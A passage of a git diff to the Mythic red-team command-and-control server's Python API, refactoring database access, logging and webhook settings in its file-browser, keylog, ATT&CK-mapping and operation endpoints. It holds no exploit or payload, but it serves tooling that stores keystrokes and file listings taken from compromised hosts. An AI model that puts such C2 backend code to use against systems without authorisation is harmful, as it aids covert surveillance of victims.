-async def add_upload_file_to_file_browser(operation, task, file, data):
+async def mark_nested_deletes(folder, operation):
+ nested_files = await app.db_objects.execute(db_model.filebrowserobj_query.where(
+ (db_model.FileBrowserObj.operation == operation) &
+ (db_model.FileBrowserObj.parent == folder)
+ ))
+ for f in nested_files:
+ f.deleted = True
+ if not f.is_file:
+ await mark_nested_deletes(f, operation)
+ await app.db_objects.update(f)
- if "full_path" not in data or data["full_path"] is None or data["full_path"] == "":
- return
- data["is_file"] = True
- data["permissions"] = {}
- data["success"] = True
- data["access_time"] = ""
- data["modify_time"] = ""
- data["size"] = file.chunk_size
- data["files"] = []
- if data["full_path"][0] == "/":
- full_path = PurePosixPath(data["full_path"])
- else:
- full_path = PureWindowsPath(data["full_path"])
- data["name"] = full_path.name
- data["parent_path"] = str(full_path.parents[0])
- if "host" not in data or data["host"] is None or data["host"] == "":
- data["host"] = file.host
+
+async def add_upload_file_to_file_browser(operation, task, file, data):
try:
+ if "full_path" not in data or data["full_path"] is None or data["full_path"] == "":
+ return
+ data["is_file"] = True
+ data["permissions"] = {}
+ data["success"] = True
+ data["access_time"] = ""
+ data["modify_time"] = ""
+ data["size"] = file.chunk_size
+ data["files"] = []
+ if data["full_path"][0] == "/":
+ full_path = PurePosixPath(data["full_path"])
+ else:
+ full_path = PureWindowsPath(data["full_path"])
+ data["name"] = full_path.name
+ data["parent_path"] = str(full_path.parents[0])
+ if "host" not in data or data["host"] is None or data["host"] == "":
+ data["host"] = file.host.upper()
await store_response_into_filebrowserobj(operation, task, data)
- fbo_query = await db_model.filebrowserobj_query()
- fbo = await db_objects.get(fbo_query, operation=operation,
- host=data["host"].upper().encode("unicode-escape"),
- full_path=data["full_path"].encode("unicode-escape"))
+ fbo = await app.db_objects.get(db_model.filebrowserobj_query, operation=operation,
+ host=data["host"].upper(),
+ full_path=data["full_path"].encode("utf-8"))
file.file_browser = fbo
+ await app.db_objects.update(file)
except Exception as e:
- print(sys.exc_info()[-1].tb_lineno)
- print("file_browser_api.py: " + str(e))
+ logger.warning("file_browser_api.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return
@@ -226,7 +238,6 @@ async def create_and_check_parents(operation, task, response):
# start at the top and make the root node if necessary, then recursively go down the path
# should return as the immediate parent the last entry we make (if any)
try:
- query = await db_model.filebrowserobj_query()
if "host" not in response:
response["host"] = task.callback.host
if (
@@ -265,32 +276,31 @@ async def create_and_check_parents(operation, task, response):
parent_path_name = str(parent_path_name)
# print("looking for name:{} and parent:{}".format(name, parent_obj))
try:
- parent = await db_objects.get(
- query,
- host=response["host"].upper().encode("unicode-escape"),
+ parent = await app.db_objects.get(
+ db_model.filebrowserobj_query,
+ host=response["host"].upper(),
parent=parent_obj,
- name=name.encode("unicode-escape"),
+ name=name.encode("utf-8"),
operation=operation,
)
except Exception as e:
# it doesn't exist, so create it
# print("adding name:{} and parent:{}".format(name, parent_obj))
# we didn't find a matching parent, so we need to create it and potentially create all the way up
- parent = await db_objects.create(
+ parent = await app.db_objects.create(
db_model.FileBrowserObj,
task=task,
operation=operation,
- host=response["host"].upper().encode("unicode-escape"),
- name=name.encode("unicode-escape"),
+ host=response["host"].upper(),
+ name=name.encode("utf-8"),
parent=parent_obj,
- parent_path=parent_path_name.encode("unicode-escape"),
+ parent_path=parent_path_name.encode("utf-8"),
full_path=full_path,
)
parent_obj = parent
return parent_obj
except Exception as e:
- print(sys.exc_info()[-1].tb_lineno)
- print("file_browser_api.py: " + str(e))
+ logger.warning("file_browser_api.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return None
@@ -306,10 +316,8 @@ async def edit_filebrowsobj(request, user, fid):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filebrowserobj_query()
- file = await db_objects.get(query, id=fid, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ file = await app.db_objects.get(db_model.filebrowserobj_query, id=fid, operation=operation)
except Exception as e:
return json(
{
@@ -321,7 +329,7 @@ async def edit_filebrowsobj(request, user, fid):
data = request.json
if "comment" in data:
file.comment = data["comment"]
- await db_objects.update(file)
+ await app.db_objects.update(file)
return json({"status": "success", "file_browser": file.to_json()})
except Exception as e:
return json({"status": "error", "error": str(e)})
@@ -339,10 +347,7 @@ async def search_filebrowsobj(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filebrowserobj_query()
- file_query = await db_model.filemeta_query()
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{
@@ -352,11 +357,11 @@ async def search_filebrowsobj(request, user):
)
try:
data = request.json
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.filebrowserobj_query.where(
(db_model.FileBrowserObj.operation == operation)
& (
- fn.encode(db_model.FileBrowserObj.host, "escape").regexp(
+ db_model.FileBrowserObj.host.regexp(
data["host"]
)
)
@@ -370,11 +375,11 @@ async def search_filebrowsobj(request, user):
)
if "page" not in data:
# allow a blanket search to still be performed
- responses = await db_objects.prefetch(
- query.where(
+ responses = await app.db_objects.prefetch(
+ db_model.filebrowserobj_query.where(
(db_model.FileBrowserObj.operation == operation)
& (
- fn.encode(db_model.FileBrowserObj.host, "escape").regexp(
+ db_model.FileBrowserObj.host.regexp(
data["host"]
)
)
@@ -387,7 +392,7 @@ async def search_filebrowsobj(request, user):
)
#.distinct()
.order_by(db_model.FileBrowserObj.full_path),
- file_query
+ db_model.filemeta_query
)
data["page"] = 1
data["size"] = count
@@ -410,11 +415,11 @@ async def search_filebrowsobj(request, user):
data["page"] = ceil(count / data["size"])
if data["page"] == 0:
data["page"] = 1
- responses = await db_objects.prefetch(
- query.where(
+ responses = await app.db_objects.prefetch(
+ db_model.filebrowserobj_query.where(
(db_model.FileBrowserObj.operation == operation)
& (
- fn.encode(db_model.FileBrowserObj.host, "escape").regexp(
+ db_model.FileBrowserObj.host.regexp(
data["host"]
)
)
@@ -428,7 +433,7 @@ async def search_filebrowsobj(request, user):
#.distinct()
.order_by(db_model.FileBrowserObj.full_path)
.paginate(data["page"], data["size"]),
- file_query
+ db_model.filemeta_query
)
output = []
for r in responses:
@@ -450,7 +455,7 @@ async def search_filebrowsobj(request, user):
}
)
except Exception as e:
- print(e)
+ logger.warning("file_browser_api.py: " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
@@ -466,10 +471,8 @@ async def get_filebrowsobj_permissions(request, user, fid):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filebrowserobj_query()
- file = await db_objects.get(query, id=fid, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ file = await app.db_objects.get(db_model.filebrowserobj_query, id=fid, operation=operation)
except Exception as e:
return json(
{
@@ -495,16 +498,14 @@ async def get_filebrowsobj_permissions_by_path(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filebrowserobj_query()
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
if "host" not in data:
return json({"status": "error", "error": "Missing host parameter"})
if "full_path" not in data:
return json({"status": "error", "error": "Missing full_path parameter"})
- file = await db_objects.get(query, operation=operation, host=data["host"].upper().encode("unicode-escape"),
- full_path=data["full_path"].encode("unicode-escape"))
+ file = await app.db_objects.get(db_model.filebrowserobj_query, operation=operation, host=data["host"].upper(),
+ full_path=data["full_path"].encode("utf-8"))
return json({"status": "success", "permissions": file.permissions})
except Exception as e:
return json(
@@ -527,14 +528,11 @@ async def get_filebrowsobj_files(request, user, fid):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- file_query = await db_model.filemeta_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.filebrowserobj_query()
- files = await db_objects.prefetch(query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ files = await app.db_objects.prefetch(db_model.filebrowserobj_query.where(
(db_model.FileBrowserObj.operation == operation) &
(db_model.FileBrowserObj.parent == fid)
- ), file_query)
+ ), db_model.filemeta_query)
except Exception as e:
return json(
{
diff --git a/mythic-docker/app/api/keylog_api.py b/mythic-docker/app/api/keylog_api.py
index b2739f5bd..131fa3086 100755
--- a/mythic-docker/app/api/keylog_api.py
+++ b/mythic-docker/app/api/keylog_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import Task, Keylog
from sanic_jwt.decorators import scoped, inject_user
@@ -21,11 +22,9 @@ async def get_operations_keystrokes(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.keylog_query()
- keylogs = await db_objects.execute(
- query.where(Keylog.operation == operation).order_by(Keylog.timestamp)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ keylogs = await app.db_objects.execute(
+ db_model.keylog_query.where(Keylog.operation == operation).order_by(Keylog.timestamp)
)
except Exception as e:
print(e)
@@ -39,7 +38,6 @@ async def get_operations_keystrokes(request, user):
if "grouping" in data and data["grouping"] is not None:
grouping = data["grouping"] # this can be by host or user
# we will make our higher-level grouping by the log.task.callback.host that our keylogs came from
- query = await db_model.callback_query()
for log in keylogs:
if grouping == "host":
group = log.task.callback.host
@@ -49,13 +47,13 @@ async def get_operations_keystrokes(request, user):
output[group][log.user] = {}
if log.window not in output[group][log.user]:
output[group][log.user][log.window] = {"keylogs": []}
- callback = await db_objects.get(query, id=log.task.callback)
+ callback = await app.db_objects.get(db_model.callback_query, id=log.task.callback)
output[group][log.user][log.window]["keylogs"].append(
{**log.to_json(), "callback": callback.to_json()}
)
elif grouping == "user":
group = log.user
- callback = await db_objects.get(query, id=log.task.callback)
+ callback = await app.db_objects.get(db_model.callback_query, id=log.task.callback)
if group not in output:
output[group] = {}
if callback.host not in output[group]:
@@ -70,22 +68,20 @@ async def get_operations_keystrokes(request, user):
return json({"status": "success", "grouping": grouping, "keylogs": output})
-@mythic.route(mythic.config["API_BASE"] + "/keylogs/callback/", methods=["GET"])
+@mythic.route(mythic.config["API_BASE"] + "/keylogs/callback/", methods=["GET"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_callback_keystrokes(request, user, id):
+async def get_callback_keystrokes(request, user, kid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=id, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callback = await app.db_objects.get(db_model.callback_query, id=kid, operation=operation)
except Exception as e:
print(e)
return json(
@@ -96,9 +92,8 @@ async def get_callback_keystrokes(request, user, id):
)
try:
output = {}
- query = await db_model.keylog_query()
- keylogs = await db_objects.execute(
- query.switch(Task)
+ keylogs = await app.db_objects.execute(
+ db_model.keylog_query.switch(Task)
.where(Task.callback == callback)
.switch(Keylog)
.order_by(Keylog.timestamp)
@@ -109,7 +104,7 @@ async def get_callback_keystrokes(request, user, id):
if log.window not in output:
output[log.window] = []
output[log.window].append(log_json)
- return json({"status": "success", "callback": id, "keylogs": output})
+ return json({"status": "success", "callback": kid, "keylogs": output})
except Exception as e:
print(e)
return json(
diff --git a/mythic-docker/app/api/mitre_api.py b/mythic-docker/app/api/mitre_api.py
index ec1b47fd7..f672dde92 100755
--- a/mythic-docker/app/api/mitre_api.py
+++ b/mythic-docker/app/api/mitre_api.py
@@ -1,6 +1,7 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
-from app.database_models.model import Task, ATTACKCommand, ATTACKTask, Callback, Command
+from app.database_models.model import Task, ATTACKCommand, ATTACKTask, Callback
from sanic_jwt.decorators import scoped, inject_user
import app.database_models.model as db_model
from sanic.exceptions import abort
@@ -17,8 +18,7 @@ async def get_all_mitre_attack_ids(request, user):
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- query = await db_model.attack_query()
- attack_entries = await db_objects.execute(query)
+ attack_entries = await app.db_objects.execute(db_model.attack_query)
matrix = {}
for entry in attack_entries:
tactics = entry.tactic.split(" ")
@@ -41,8 +41,7 @@ async def get_all_mitre_attack_ids(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.attack_query()
- attack_entries = await db_objects.execute(query)
+ attack_entries = await app.db_objects.execute(db_model.attack_query)
return json(
{"status": "success", "attack": [a.to_json() for a in attack_entries]}
)
@@ -61,8 +60,7 @@ async def get_all_mitre_attack_ids_by_command(request, user):
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- query = await db_model.attack_query()
- attack_entries = await db_objects.execute(query)
+ attack_entries = await app.db_objects.execute(db_model.attack_query)
matrix = {}
for entry in attack_entries:
tactics = entry.tactic.split(" ")
@@ -74,9 +72,8 @@ async def get_all_mitre_attack_ids_by_command(request, user):
"mappings"
] = {} # this is where we'll store payload_type and command mappings
entry_json["tactic"] = t
- query = await db_model.attackcommand_query()
- mappings = await db_objects.execute(
- query.where(ATTACKCommand.attack == entry)
+ mappings = await app.db_objects.execute(
+ db_model.attackcommand_query.where(ATTACKCommand.attack == entry)
)
for m in mappings:
@@ -99,8 +96,7 @@ async def get_all_mitre_attack_ids_by_task(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json(
{
@@ -108,8 +104,7 @@ async def get_all_mitre_attack_ids_by_task(request, user):
"error": "Must have an operation set as your current operation",
}
)
- query = await db_model.attack_query()
- attack_entries = await db_objects.execute(query)
+ attack_entries = await app.db_objects.execute(db_model.attack_query)
matrix = {}
for entry in attack_entries:
tactics = entry.tactic.split(" ")
@@ -121,9 +116,8 @@ async def get_all_mitre_attack_ids_by_task(request, user):
"mappings"
] = {} # this is where we'll store payload_type and command mappings
entry_json["tactic"] = t
- query = await db_model.attacktask_query()
- mappings = await db_objects.execute(
- query.where(
+ mappings = await app.db_objects.execute(
+ db_model.attacktask_query.where(
(ATTACKTask.attack == entry) & (Callback.operation == operation)
)
)
@@ -150,8 +144,7 @@ async def regex_against_tasks(request, user):
)
data = request.json
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "Failed to find current operation"})
if "regex" not in data:
@@ -161,8 +154,7 @@ async def regex_against_tasks(request, user):
if "attack" not in data:
return json({"status": "error", "error": "an attack T# is required"})
try:
- query = await db_model.attack_query()
- attack = await db_objects.get(query, t_num=data["attack"])
+ attack = await app.db_objects.get(db_model.attack_query, t_num=data["attack"])
except Exception as e:
return json(
{
@@ -171,9 +163,8 @@ async def regex_against_tasks(request, user):
}
)
try:
- query = await db_model.task_query()
- matching_tasks = await db_objects.prefetch(
- query.switch(Callback)
+ matching_tasks = await app.db_objects.prefetch(
+ db_model.task_query.switch(Callback)
.where(Callback.operation == operation)
.switch(Task)
.where(
@@ -181,18 +172,17 @@ async def regex_against_tasks(request, user):
| (Task.original_params.regexp(data["regex"]))
)
.order_by(Task.id),
- Command.select(),
+ db_model.command_query,
)
if data["apply"]:
# actually apply the specified att&ck id to the matched tasks
for t in matching_tasks:
# don't create duplicates
try:
- query = await db_model.attacktask_query()
- attacktask = await db_objects.get(query, attack=attack, task=t)
+ attacktask = await app.db_objects.get(db_model.attacktask_query, attack=attack, task=t)
except Exception as e:
# we didn't find the specific attack-task mapping, so create a new one
- attacktask = await db_objects.create(
+ attacktask = await app.db_objects.create(
ATTACKTask, attack=attack, task=t
)
return json({"status": "success"})
@@ -202,9 +192,8 @@ async def regex_against_tasks(request, user):
tasks = []
for t in matching_tasks:
sub_attacks = []
- query = await db_model.attacktask_query()
- matching_attacks = await db_objects.execute(
- query.where(ATTACKTask.task == t)
+ matching_attacks = await app.db_objects.execute(
+ db_model.attacktask_query.where(ATTACKTask.task == t)
)
for ma in matching_attacks:
sub_attacks.append(
@@ -236,13 +225,10 @@ async def remove_task_attack_mapping(request, user, tid, tnum):
{"status": "error", "error": "Spectators cannot remove MITRE from tasks"}
)
try:
- query = await db_model.task_query()
- task = await db_objects.get(query, id=tid)
- query = await db_model.attack_query()
- attack = await db_objects.get(query, t_num=tnum)
- query = await db_model.attacktask_query()
- mapping = await db_objects.get(query, task=task, attack=attack)
- await db_objects.delete(mapping)
+ task = await app.db_objects.get(db_model.task_query, id=tid)
+ attack = await app.db_objects.get(db_model.attack_query, t_num=tnum)
+ mapping = await app.db_objects.get(db_model.attacktask_query, task=task, attack=attack)
+ await app.db_objects.delete(mapping)
return json({"status": "success", "task_id": tid, "attack": tnum})
except Exception as e:
print(e)
diff --git a/mythic-docker/app/api/operation_api.py b/mythic-docker/app/api/operation_api.py
index 8c0417142..f56a08b09 100755
--- a/mythic-docker/app/api/operation_api.py
+++ b/mythic-docker/app/api/operation_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import OperatorOperation, DisabledCommandsProfile
import base64
@@ -6,6 +7,7 @@
from sanic.exceptions import abort
import app.database_models.model as db_model
from app.api.browserscript_api import remove_admin_browserscripts
+import uuid
@mythic.route(mythic.config["API_BASE"] + "/operations", methods=["GET"])
@@ -21,16 +23,13 @@ async def get_all_operation(request, user):
)
output = []
try:
- query = await db_model.operation_query()
- operations = await db_objects.execute(query)
- query = await db_model.operatoroperation_query()
+ operations = await app.db_objects.execute(db_model.operation_query)
for o in operations:
if user["admin"] or o.name in user["operations"]:
- operatorsmap = await db_objects.execute(
- query.where(OperatorOperation.operation == o)
+ operatorsmap = await app.db_objects.execute(
+ db_model.operatoroperation_query.where(OperatorOperation.operation == o)
)
ojson = o.to_json()
- ojson.pop("AESPSK", None)
ojson["members"] = []
for map in operatorsmap:
data = {
@@ -70,15 +69,14 @@ async def get_one_operation(request, user, op):
try:
# get all users associated with that operation and the admin
operators = []
- query = await db_model.operation_query()
- operation = await db_objects.get(query, id=op)
+ operation = await app.db_objects.get(db_model.operation_query, id=op)
if (
operation.name in user["operations"]
or operation.name in user["admin_operations"]
+ or user["admin"]
):
- query = await db_model.operatoroperation_query()
- operatorsmap = await db_objects.execute(
- query.where(OperatorOperation.operation == operation)
+ operatorsmap = await app.db_objects.execute(
+ db_model.operatoroperation_query.where(OperatorOperation.operation == operation)
)
for operator in operatorsmap:
o = operator.operator
@@ -106,28 +104,27 @@ async def get_one_operation(request, user, op):
async def add_user_to_operation_func(operation, users, user):
# this take an operation object and a list of users (string) and adds them to the operation
- query = await db_model.operator_query()
- adder = await db_objects.get(query, username=user["username"])
+ adder = await app.db_objects.get(db_model.operator_query, username=user["username"])
for operator in users:
try:
- op = await db_objects.get(query, username=operator["username"])
+ op = await app.db_objects.get(db_model.operator_query, username=operator["username"])
except Exception as e:
return {"status": "error", "error": "failed to find user"}
try:
if op.current_operation is None:
op.current_operation = operation
- await db_objects.update(op)
+ await app.db_objects.update(op)
if "view_mode" not in operator:
operator["view_mode"] = "operator"
elif operator["view_mode"] not in ["operator", "developer", "spectator"]:
operator["view_mode"] = "operator"
- map = await db_objects.create(
+ map = await app.db_objects.create(
OperatorOperation,
operator=op,
operation=operation,
view_mod=operator["view_mode"],
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} added {} to operation as {}".format(
@@ -154,24 +151,21 @@ async def update_operation(request, user, op):
# this can change the admin user assuming the person submitting is the current admin or overall admin ['admin']
# this can change the users ['add_users'], ['remove_users']
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, id=op)
+ operation = await app.db_objects.get(db_model.operation_query, id=op)
except Exception as e:
return json({"status": "error", "error": "failed to find operation"})
if operation.name in user["admin_operations"] or user["admin"]:
data = request.json
- query = await db_model.operator_query()
- modifier = await db_objects.get(query, username=user["username"])
+ modifier = await app.db_objects.get(db_model.operator_query, username=user["username"])
if "name" in data and data["name"] not in ["", "null", None]:
operation.name = data["name"]
if "admin" in data and data["admin"] != operation.admin.username:
try:
- query = await db_model.operator_query()
- new_admin = await db_objects.get(query, username=data["admin"])
+ new_admin = await app.db_objects.get(db_model.operator_query, username=data["admin"])
await remove_admin_browserscripts(operation.admin, operation)
operation.admin = new_admin
- await db_objects.update(operation)
- await db_objects.create(
+ await app.db_objects.update(operation)
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} made {} the operation admin".format(
@@ -179,18 +173,17 @@ async def update_operation(request, user, op):
),
)
except Exception as e:
- print(e)
+ print(str(e))
return json({"status": "error", "error": "failed to update the admin"})
if "add_members" in data:
for new_member in data["add_members"]:
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(
- query, username=new_member["username"]
+ operator = await app.db_objects.get(
+ db_model.operator_query, username=new_member["username"]
)
if operator.current_operation is None:
operator.current_operation = operation
- await db_objects.update(operator)
+ await app.db_objects.update(operator)
if "view_mode" not in new_member:
new_member["view_mode"] = "operator"
elif new_member["view_mode"] not in [
@@ -200,13 +193,13 @@ async def update_operation(request, user, op):
]:
new_member["view_mode"] = "operator"
try:
- map = await db_objects.get(
+ map = await app.db_objects.get(
OperatorOperation, operator=operator, operation=operation
)
if map.view_mode != new_member["view_mode"]:
map.view_mode = new_member["view_mode"]
- await db_objects.update(map)
- await db_objects.create(
+ await app.db_objects.update(map)
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} updated {} view mode to {}".format(
@@ -216,13 +209,13 @@ async def update_operation(request, user, op):
),
)
except Exception as e:
- map = await db_objects.create(
+ map = await app.db_objects.create(
OperatorOperation,
operator=operator,
operation=operation,
view_mode=new_member["view_mode"],
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} added {} to operation with view mode {}".format(
@@ -243,20 +236,18 @@ async def update_operation(request, user, op):
if "remove_members" in data:
for old_member in data["remove_members"]:
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=old_member)
- query = await db_model.operatoroperation_query()
- operatoroperation = await db_objects.get(
- query, operator=operator, operation=operation
+ operator = await app.db_objects.get(db_model.operator_query, username=old_member)
+ operatoroperation = await app.db_objects.get(
+ db_model.operatoroperation_query, operator=operator, operation=operation
)
# don't remove the admin of an operation
if operation.admin.username != operator.username:
# if this operation is set as that user's current_operation, nullify it
if operator.current_operation == operation:
operator.current_operation = None
- await db_objects.update(operator)
- await db_objects.delete(operatoroperation)
- await db_objects.create(
+ await app.db_objects.update(operator)
+ await app.db_objects.delete(operatoroperation)
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} removed {} from operation".format(
@@ -276,61 +267,66 @@ async def update_operation(request, user, op):
)
if "add_disabled_commands" in data:
for user in data["add_disabled_commands"]:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.operatoroperation_query()
- operatoroperation = await db_objects.get(
- query, operator=operator, operation=operation
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operatoroperation = await app.db_objects.get(
+ db_model.operatoroperation_query, operator=operator, operation=operation
)
- query = await db_model.disabledcommandsprofile_query()
try:
- disabled_profile = await db_objects.get(
- query, name=user["base_disabled_commands"]
+ disabled_profile = await app.db_objects.get(
+ db_model.disabledcommandsprofile_query, name=user["base_disabled_commands"]
)
operatoroperation.base_disabled_commands = disabled_profile
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message=f"{modifier.username} updated {operator.username}'s disabled command list to {disabled_profile.name}",
)
except Exception as e:
operatoroperation.base_disabled_commands = None
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message=f"{modifier.username} removed {operator.username}'s disabled command list",
)
- await db_objects.update(operatoroperation)
+ await app.db_objects.update(operatoroperation)
if "webhook" in data:
if (data["webhook"] == "" or data["webhook"] is None) and (
- operation.webhook is not None and operation.webhook != ""
+ operation.webhook != ""
):
- operation.webhook = None
- await db_objects.create(
+ operation.webhook = ""
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} removed Operation webhook".format(modifier.username),
)
- elif data["webhook"] != "":
+ elif data["webhook"] != "" and data["webhook"] != operation.webhook:
operation.webhook = data["webhook"]
- if operation.webhook is not None:
- await db_objects.create(
- db_model.OperationEventLog,
- operation=operation,
- message="{} added operation webhook: {}".format(
- modifier.username, data["webhook"]
- ),
- )
+ await app.db_objects.create(
+ db_model.OperationEventLog,
+ operation=operation,
+ message="{} set operation webhook to {}".format(
+ modifier.username, data["webhook"]
+ ),
+ )
+ if "channel" in data and data["channel"] != operation.channel:
+ operation.channel = data["channel"]
+ if "display_name" in data and data["display_name"] != operation.display_name:
+ operation.display_name = data["display_name"]
+ if "icon_emoji" in data and data["icon_emoji"] != operation.icon_emoji:
+ operation.icon_emoji = data["icon_emoji"]
+ if "icon_url" in data and data["icon_url"] != operation.icon_url:
+ operation.icon_url = data["icon_url"]
+ if "webhook_message" in data and data["webhook_message"] != operation.webhook_message:
+ operation.webhook_message = data["webhook_message"]
if "complete" in data:
operation.complete = data["complete"]
try:
- await db_objects.update(operation)
+ await app.db_objects.update(operation)
except Exception as e:
return json({"status": "error", "error": str(e)})
all_users = []
- query = await db_model.operatoroperation_query()
- current_members = await db_objects.execute(
- query.where(OperatorOperation.operation == operation)
+ current_members = await app.db_objects.execute(
+ db_model.operatoroperation_query.where(OperatorOperation.operation == operation)
)
for mem in current_members:
member = mem.operator
@@ -341,7 +337,6 @@ async def update_operation(request, user, op):
data["base_disabled_commands"] = None
all_users.append(data)
ojson = operation.to_json()
- ojson.pop("AESPSK", None)
return json({"status": "success", "members": all_users, **ojson})
else:
return json({"status": "error", "error": "not authorized to make the change"})
@@ -370,24 +365,21 @@ async def create_operation(request, user):
try:
from app.crypto import create_key_AES256
- query = await db_model.operator_query()
- modifier = await db_objects.get(query, username=user["username"])
- query = await db_model.operator_query()
- new_admin = await db_objects.get(query, username=data["admin"])
- operation = await db_objects.create(
+ modifier = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ new_admin = await app.db_objects.get(db_model.operator_query, username=data["admin"])
+ operation = await app.db_objects.create(
db_model.Operation,
name=data["name"],
admin=new_admin,
- AESPSK=await create_key_AES256(),
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} created operation {}".format(
modifier.username, data["name"]
),
)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} made {} the operation admin".format(
@@ -414,21 +406,20 @@ async def create_operation(request, user):
)
for new_member in data["members"]:
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(
- query, username=new_member["username"]
+ operator = await app.db_objects.get(
+ db_model.operator_query, username=new_member["username"]
)
if operator.current_operation is None:
operator.current_operation = operation
- await db_objects.update(operator)
- map = await db_objects.create(
+ await app.db_objects.update(operator)
+ map = await app.db_objects.create(
OperatorOperation,
operator=operator,
operation=operation,
view_mode=new_member["view_mode"],
)
added_members.append(new_member)
- await db_objects.create(
+ await app.db_objects.create(
db_model.OperationEventLog,
operation=operation,
message="{} added {} to operation with view mode {}".format(
@@ -447,26 +438,26 @@ async def create_operation(request, user):
),
}
)
- if "webhook" in data:
- if (data["webhook"] == "" or data["webhook"] is None) and (
- operation.webhook is not None and operation.webhook != ""
- ):
- operation.webhook = None
- await db_objects.create(
- db_model.OperationEventLog,
- operation=operation,
- message="{} removed operation webhook".format(modifier.username),
- )
- elif data["webhook"] != "":
- operation.webhook = data["webhook"]
- await db_objects.create(
- db_model.OperationEventLog,
- operation=operation,
- message="{} added operation webhook: {}".format(
- modifier.username, data["webhook"]
- ),
- )
- await db_objects.update(operation)
+ if "webhook" in data and data["webhook"] != "":
+ operation.webhook = data["webhook"]
+ await app.db_objects.create(
+ db_model.OperationEventLog,
+ operation=operation,
+ message="{} added operation webhook: {}".format(
+ modifier.username, data["webhook"]
+ ),
+ )
+ if "channel" in data:
+ operation.channel = data["channel"]
+ if "display_name" in data:
+ operation.display_name = data["display_name"]
+ if "icon_emoji" in data:
+ operation.icon_emoji = data["icon_emoji"]
+ if "icon_url" in data:
+ operation.icon_url = data["icon_url"]
+ if "webhook_message" in data:
+ operation.webhook_message = data["webhook_message"]
+ await app.db_objects.update(operation)
return json(
{"status": "success", "members": added_members, **operation.to_json()}
)
@@ -493,8 +484,7 @@ async def get_all_disabled_commands_profiles(request, user):
)
# only the admin of an operation or an overall admin can delete an operation
try:
- query = await db_model.disabledcommandsprofile_query()
- disabled_command_profiles = await db_objects.execute(query)
+ disabled_command_profiles = await app.db_objects.execute(db_model.disabledcommandsprofile_query)
command_groupings = {}
for dcp in disabled_command_profiles:
if dcp.name not in command_groupings:
@@ -544,15 +534,13 @@ async def create_disabled_commands_profile(request, user):
if name == "":
return json({"status": "error", "error": "name cannot be blank"})
for ptype in data[name]:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=ptype)
